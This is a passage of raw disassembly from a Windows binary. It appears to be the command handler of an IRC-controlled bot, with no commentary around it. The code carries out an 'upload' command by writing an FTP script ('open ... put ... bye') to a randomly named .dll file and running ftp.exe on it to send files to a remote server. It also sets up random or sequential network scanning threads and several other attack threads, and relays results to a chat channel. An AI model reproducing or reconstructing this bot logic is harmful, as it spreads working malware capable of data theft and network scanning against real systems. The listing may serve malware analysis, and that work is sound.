		push	[ebp+arg_1C]
		lea	eax, [ebp+Dst]
		push	offset asc_443430 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 20h

loc_4073B6:				; CODE XREF: sub_401CC7+5676j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_407563

loc_4073BF:				; CODE XREF: sub_401CC7+569Ej
		push	ebx
		push	[ebp+var_4]
		push	offset unk_443464
		jmp	short loc_407370
; ---------------------------------------------------------------------------

loc_4073CA:				; CODE XREF: sub_401CC7+5047j
					; sub_401CC7+505Ej ...
		mov	eax, [ebp+var_8]
		push	7Fh		; Count
		push	[ebp+Source]	; Source
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax		; Dest
		call	_strncpy
		push	edi		; Str
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_C7C], eax
		call	_atoi
		push	[ebp+arg_18]	; Str
		mov	[ebp+var_C78], eax
		call	_atoi
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_40742F
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_407435
; ---------------------------------------------------------------------------

loc_40742F:				; CODE XREF: sub_401CC7+5757j
		mov	[ebp+var_C70], ebx

loc_407435:				; CODE XREF: sub_401CC7+5766j
		push	7Fh		; Count
		lea	eax, [ebp+var_D7C]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_C7C]
		push	offset asc_443330 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	17h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset sub_413E91
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4074D8

loc_4074C6:				; CODE XREF: sub_401CC7+580Fj
		cmp	[ebp+var_C60], ebx
		jnz	short loc_4074F3
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4074C6
; ---------------------------------------------------------------------------

loc_4074D8:				; CODE XREF: sub_401CC7+57FDj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset asc_443378 ; "-"

loc_4074E4:				; CODE XREF: sub_401CC7+4EB2j
					; sub_401CC7+633Fj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_4074F3:				; CODE XREF: sub_401CC7+4E96j
					; sub_401CC7+5805j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_408637
		push	ebx
		push	[ebp+var_4]

loc_407500:				; CODE XREF: sub_401CC7+22CFj
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+Format]
		push	esi
		jmp	loc_408523
; ---------------------------------------------------------------------------

loc_407513:				; CODE XREF: sub_401CC7+5019j
					; sub_401CC7+5030j
		push	0Bh
		call	sub_40B99E
		push	edi		; Str
		mov	[ebp+arg_1C], eax
		call	_atoi
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_4076CF
		push	[ebp+arg_1C]
		lea	eax, [ebp+Dst]
		push	offset asc_4431C0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 20h

loc_407563:				; CODE XREF: sub_401CC7+52EEj
					; sub_401CC7+56BAj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_402085
		push	[ebp+arg_8]	; Str2
		push	offset aUpload	; "upload"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409B16
		push	4
		push	esi
		call	sub_417471
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40759F
		push	esi
		push	offset unk_4436E0
		jmp	loc_408F7E
; ---------------------------------------------------------------------------

loc_40759F:				; CODE XREF: sub_401CC7+58CBj
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+Filename]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Filename]
		push	offset Mode	; "ab"
		push	eax		; Filename
		call	_fopen
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+File], eax
		jz	loc_402085
		push	esi
		push	[ebp+arg_18]
		push	[ebp+Src]
		push	edi
		push	[ebp+Source]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax		; File
		call	_fprintf
		push	[ebp+File]	; File
		call	_fclose
		add	esp, 20h
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen_0	; "open"
		push	ebx
		call	dword_4E3064
		push	[ebp+Source]
		test	eax, eax
		push	esi		; Format
		jz	short loc_40766E
		push	offset unk_443750
		jmp	short loc_407673
; ---------------------------------------------------------------------------

loc_40766E:				; CODE XREF: sub_401CC7+599Ej
		push	offset asc_443778 ; "-"

loc_407673:				; CODE XREF: sub_401CC7+59A5j
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40769C
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_40769C:				; CODE XREF: sub_401CC7+59B7j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F

loc_4076A8:				; CODE XREF: sub_401CC7+5A06j
		lea	eax, [ebp+Filename]
		push	4
		push	eax
		call	sub_417471
		add	esp, 0Ch
		test	eax, eax
		jz	loc_402085
		lea	eax, [ebp+Filename]
		push	eax
		call	sub_41F6D0
		jmp	short loc_4076A8
; ---------------------------------------------------------------------------

loc_4076CF:				; CODE XREF: sub_401CC7+5866j
		push	[ebp+Source]	; Str
		call	_atoi
		push	edi		; Str
		mov	[ebp+var_370], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_358], eax
		call	_atoi
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_407708
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_407708:				; CODE XREF: sub_401CC7+5A36j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_407715
		mov	[ebp+var_36C], ecx

loc_407715:				; CODE XREF: sub_401CC7+5A46j
		push	[ebp+arg_18]	; Str
		call	_atoi
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_407737
		mov	[ebp+var_368], eax

loc_407737:				; CODE XREF: sub_401CC7+5A68j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_448220, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_407786
		mov	edi, offset dword_448220

loc_40774E:				; CODE XREF: sub_401CC7+5AA1j
		push	[ebp+Source]	; Str2
		lea	eax, [edi-28h]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40776C
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40774E
		jmp	short loc_407786
; ---------------------------------------------------------------------------

loc_40776C:				; CODE XREF: sub_401CC7+5A97j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_448220[ecx]
		mov	[ebp+var_370], ecx

loc_407786:				; CODE XREF: sub_401CC7+5A80j
					; sub_401CC7+5AA3j
		cmp	[ebp+var_370], ebx
		jnz	short loc_407798
		push	offset unk_443200
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_407798:				; CODE XREF: sub_401CC7+5AC5j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+Src], edi
		jz	short loc_4077D3
		cmp	byte ptr [edi],	23h
		jz	short loc_4077D3
		push	edi		; Format
		lea	eax, [ebp+var_484]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		push	78h		; Val
		push	edi		; Str
		call	_strchr
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_4078AD
; ---------------------------------------------------------------------------

loc_4077D3:				; CODE XREF: sub_401CC7+5ADAj
					; sub_401CC7+5ADFj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4077F5
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4077F5
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4077F5
		push	offset unk_443234
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_4077F5:				; CODE XREF: sub_401CC7+5B12j
					; sub_401CC7+5B1Aj ...
		push	10h
		lea	eax, [ebp+var_2D8]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D8], edi
		push	[ebp+arg_4]
		call	dword_4E309C	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi		; Args
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]	; Count
		call	dword_4E3184	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+var_484]
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_4078A7
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax		; Str
		call	_strrchr
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+File+3], bl
		jle	short loc_40789B

loc_407879:				; CODE XREF: sub_401CC7+5BD2j
		cmp	eax, ebx
		jz	short loc_40789B
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+File+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+File+3]
		cmp	ecx, edi
		jl	short loc_407879

loc_40789B:				; CODE XREF: sub_401CC7+5BB0j
					; sub_401CC7+5BB4j
		mov	[ebp+var_344], 1
		jmp	short loc_4078AD
; ---------------------------------------------------------------------------

loc_4078A7:				; CODE XREF: sub_401CC7+5B8Aj
		mov	[ebp+var_344], ebx

loc_4078AD:				; CODE XREF: sub_401CC7+5B07j
					; sub_401CC7+5BDEj
		mov	eax, [ebp+arg_4]
		push	[ebp+Format]	; Format
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4078FE

loc_4078EB:				; CODE XREF: sub_401CC7+5C5Aj
		push	esi		; Format

loc_4078EC:				; CODE XREF: sub_401CC7+5C44j
		lea	eax, [ebp+var_3F4]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_407929
; ---------------------------------------------------------------------------

loc_4078FE:				; CODE XREF: sub_401CC7+5C22j
		mov	eax, [ebp+Src]
		cmp	eax, ebx
		jz	short loc_40790D
		cmp	byte ptr [eax],	23h
		jnz	short loc_40790D
		push	eax
		jmp	short loc_4078EC
; ---------------------------------------------------------------------------

loc_40790D:				; CODE XREF: sub_401CC7+5C3Cj
					; sub_401CC7+5C41j
		mov	esi, offset a2	; "#2"
		push	offset byte_4E2FB0 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4078EB
		mov	[ebp+var_3F4], bl

loc_407929:				; CODE XREF: sub_401CC7+5C35j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom_1 ;	"Random"
		jnz	short loc_40793B
		mov	eax, offset aSequential_0 ; "Sequential"

loc_40793B:				; CODE XREF: sub_401CC7+5C6Dj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_44327C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40CB69
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4079C9

loc_4079B3:				; CODE XREF: sub_401CC7+5D00j
		cmp	[ebp+var_340], ebx
		jnz	loc_408506
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4079B3
; ---------------------------------------------------------------------------

loc_4079C9:				; CODE XREF: sub_401CC7+5CEAj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4432E4
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_4079DA:				; CODE XREF: sub_401CC7+4FEBj
					; sub_401CC7+5002j
		push	[ebp+Source]
		call	sub_40AE55
		push	edi		; Str
		mov	[ebp+var_4E0], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_4F0], eax
		call	_atoi
		push	[ebp+arg_18]	; Str
		mov	[ebp+var_4EC], eax
		call	_atoi
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_443128 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40CF86
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_407ACF

loc_407AB9:				; CODE XREF: sub_401CC7+5E06j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403F8B
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_407AB9
; ---------------------------------------------------------------------------

loc_407ACF:				; CODE XREF: sub_401CC7+5DF0j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443178
		jmp	loc_403F7C
; ---------------------------------------------------------------------------

loc_407AE0:				; CODE XREF: sub_401CC7+4FAEj
					; sub_401CC7+4FC5j
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		cmp	byte_456030[eax], bl
		jz	loc_409B16
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
		push	edi		; Str
		call	_strlen
		push	[ebp+Source]	; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Src]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+Dst]
		push	esi
		push	offset dword_4430FC ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409B16
		push	[ebp+Source]	; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409B16
		push	[ebp+Source]	; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B16
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	eax		; int
		push	edi		; Str
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_456024[eax] ; int
		call	sub_409D34
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_455E18[eax], 73h
		jnz	loc_409B16
		push	esi
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_456030
		push	eax
		push	edi
		push	offset aSSS	; "[%s]	* %s %s"
		jmp	loc_407CB0
; ---------------------------------------------------------------------------

loc_407BD8:				; CODE XREF: sub_401CC7+4F80j
					; sub_401CC7+4F97j
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		cmp	byte_456030[eax], bl
		jz	loc_409B16
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
		push	edi		; Str
		call	_strlen
		push	[ebp+Source]	; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Src]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409B16
		push	[ebp+Source]	; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409B16
		push	[ebp+Source]	; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B16
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	edi		; Str
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_456024[eax] ; int
		call	sub_409D34
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_455E18[eax], 73h
		jnz	loc_409B16
		push	esi
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_456030
		push	eax
		push	edi
		push	offset aSSS_0	; "[%s]	<%s> %s"

loc_407CB0:				; CODE XREF: sub_401CC7+5F0Cj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 28h
		jmp	loc_409B16
; ---------------------------------------------------------------------------

loc_407CDD:				; CODE XREF: sub_401CC7+4F52j
					; sub_401CC7+4F69j
		push	[ebp+Source]
		call	dword_4E3138	; inet_addr
		push	edi		; Str
		mov	[ebp+var_680], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_690], eax
		call	_atoi
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax		; Dest
		call	_strncpy
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_443054 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40CE95
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_407DBF

loc_407DA9:				; CODE XREF: sub_401CC7+60F6j
		cmp	[ebp+var_670], ebx
		jnz	loc_403F8B
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_407DA9
; ---------------------------------------------------------------------------

loc_407DBF:				; CODE XREF: sub_401CC7+60E0j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443090
		jmp	loc_403F7C
; ---------------------------------------------------------------------------

loc_407DD0:				; CODE XREF: sub_401CC7+4F24j
					; sub_401CC7+4F3Bj
		push	[ebp+Source]	; Str
		call	_atoi
		mov	[ebp+var_112C],	eax
		push	7Fh		; Count
		lea	eax, [ebp+var_1230]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Src]	; Str
		call	_atoi
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+Format]	; Format
		mov	[ebp+var_1238],	esi
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AF71
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_442FC8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	18h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset sub_410E2B
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_407EBC

loc_407EA6:				; CODE XREF: sub_401CC7+61F3j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403F8B
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_407EA6
; ---------------------------------------------------------------------------

loc_407EBC:				; CODE XREF: sub_401CC7+61DDj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443004
		jmp	loc_403F7C
; ---------------------------------------------------------------------------

loc_407ECD:				; CODE XREF: sub_401CC7+4EF6j
					; sub_401CC7+4F0Dj
		push	0FFh		; Count
		lea	eax, [ebp+var_2878]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	0FFh		; Count
		lea	eax, [ebp+var_2778]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Src]	; Str
		mov	[ebp+var_2674],	ebx
		call	_atoi
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407F26
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407F2C
; ---------------------------------------------------------------------------

loc_407F26:				; CODE XREF: sub_401CC7+6249j
		mov	[ebp+var_2668],	ebx

loc_407F2C:				; CODE XREF: sub_401CC7+625Dj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407F43
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407F49
; ---------------------------------------------------------------------------

loc_407F43:				; CODE XREF: sub_401CC7+626Bj
		mov	[ebp+var_266C],	ebx

loc_407F49:				; CODE XREF: sub_401CC7+627Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+Source]
		lea	eax, [ebp+Dst]
		push	offset asc_442F4C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	1Dh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset sub_416F62
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_407FFA

loc_407FE4:				; CODE XREF: sub_401CC7+6331j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_4074F3
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_407FE4
; ---------------------------------------------------------------------------

loc_407FFA:				; CODE XREF: sub_401CC7+631Bj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442F78
		jmp	loc_4074E4
; ---------------------------------------------------------------------------

loc_40800B:				; CODE XREF: sub_401CC7+4EC8j
					; sub_401CC7+4EDFj
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi		; Count
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3410]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3390]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3310]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+Dst]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+Source]
		push	offset asc_442EC8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	12h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset sub_415512
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4080E2

loc_4080CC:				; CODE XREF: sub_401CC7+6419j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_4074F3
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4080CC
; ---------------------------------------------------------------------------

loc_4080E2:				; CODE XREF: sub_401CC7+6403j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442F04
		jmp	loc_4074E4
; ---------------------------------------------------------------------------

loc_4080F3:				; CODE XREF: sub_401CC7+4D9Bj
					; sub_401CC7+4DB2j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi		; Count
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_2FE8]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_2F68]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
